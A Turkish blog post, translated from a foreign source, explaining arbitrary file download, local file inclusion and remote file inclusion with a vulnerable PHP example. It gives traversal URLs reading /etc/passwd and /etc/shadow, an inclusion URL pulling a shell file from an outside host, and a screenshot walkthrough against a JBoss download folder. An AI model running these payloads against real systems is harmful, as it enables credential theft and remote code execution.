Newest Post
// On :25 Ağustos 2019 Pazar
Arbitrary File Download nedir
Adından da anlaşılacağı gibi, sistem yöneticileri sistemde gereken önlemleri
Almazlarsa kötü niyetli herhangi bir kullanıcı sunucudan hassas dosyaları indirmek İçin bu güvenlik açığından yararlanabilir. Birçok web uygulamasında, kullanıcının istediği bir veya daha fazla dosyayı indirebileceği dosya indirme bölümleri vardır.
Örnek verecek olursak
Download_file (‘/var/www/store_file/’ + params[:filename])
Bu yöntem kullanıcının girişini alır ve değeri filename parametresine atar. Kullanıcı indirmek için dosyaya tıkladığında, filename' parametresini, indirilen dosyaları depolamak için kullanılan
/var/www/store_file/ dizinine ulaşır
Örneğin, Kullanıcı 'kartal.php' istediğinde,
yol '/var/www/store_file/kartal.php' olacaktır. Tabi dizide mevcutsa, değilse kullanıcı 'Dosya Bulunamadı' mesajı alır.
LFI / RFI
LFI / RFI, Dosya İndirme güvenlik açığından farklıdır. Ancak, sunucuda dizin geçişi açıksa, ikisi
birlikte kullanılır
LFI ve RFI, Yerel Dosya Ekleme ve Uzaktan Dosya Ekleme güvenlik açığı anlamına gelir. Her ikisi
de sömürü biçimi dışında benzer niteliktedir. Her ikisi de, çoğunlukla PHP olan web uygulamaları
tarafından kullanılan filtrelenmemiş giriş dosyası parametrelerinden yararlanır. LFI, web
uygulamasının barındırıldığı makinede bulunan herhangi bir yerel dosyayı kullanırken, RFI ise
URL'leri kullanarak uzaktan barındırılan kötü amaçlı dosyaları içerir.
PHP include işlevi, bir dosya birkaç defa gerektiğinde kullanışlıdır. Bu nedenle, kodu tekrar tekrar
yazmak yerine, dosyayı include () işlevini kullanarak birçok başka dosyanın içine ekleyebiliriz
[CODE]color.php:
<?php
$color= ‘Red’;
$brand= ‘BMW’;
?>
vehicles.php:
<?php
include ‘color.php’;
echo ” I love $color $brand”; //Prints I love Red BMW
?>[/CODE]
http://örnek.com/vehicles.php?pref=color.php
burası normal gibi gözüküyor
http://örnek.com/vehicles.php?pref=../../../../etc/passwd bu
bu şekilde lfı kullanırız
sistem hesaplarını ve kullanıcı özelliklerini listeleyen passwd dosyasının içeriğini
yazdıracaktır.
http://örnek .com/vehicles.php?pref=http://a.com/shell.txt bu şekildede rfı
kullanılabilir
![[IMG]](https://i.imgyukle.com/2019/08/25/oxvvKN.png)
Burada, uygulama, kullanıcının belirli bir klasörde
/user/JBOSS/FINDS/download/
dizininde depolanan dosyaları indirmesine izin vermektedir
../../../../etc/passwd deniyoruz
![[IMG]](https://i.imgyukle.com/2019/08/25/oxvegx.png)
Böylece, yukarıdaki dizini başarıyla atladık ve unix sisteminin passwd dosyasını İndirebildik
![[IMG]](https://i.imgyukle.com/2019/08/25/oxv336.png)
Benzer şekilde ../../../../etc/shadow sağlayarak da 'shadow' dosyasını indirebiliriz.
'Shadow' dosyası kullanıcı adını ve karşılık gelen şifreli şifreyi içerir
![[IMG]](https://i.imgyukle.com/2019/08/25/oxvlop.png)
Ve shadow dosyası indiriliyor.
![[IMG]](https://i.imgyukle.com/2019/08/25/oxvWQv.png)
Makale alıntıdır yabancı bir kaynaktan çevirdim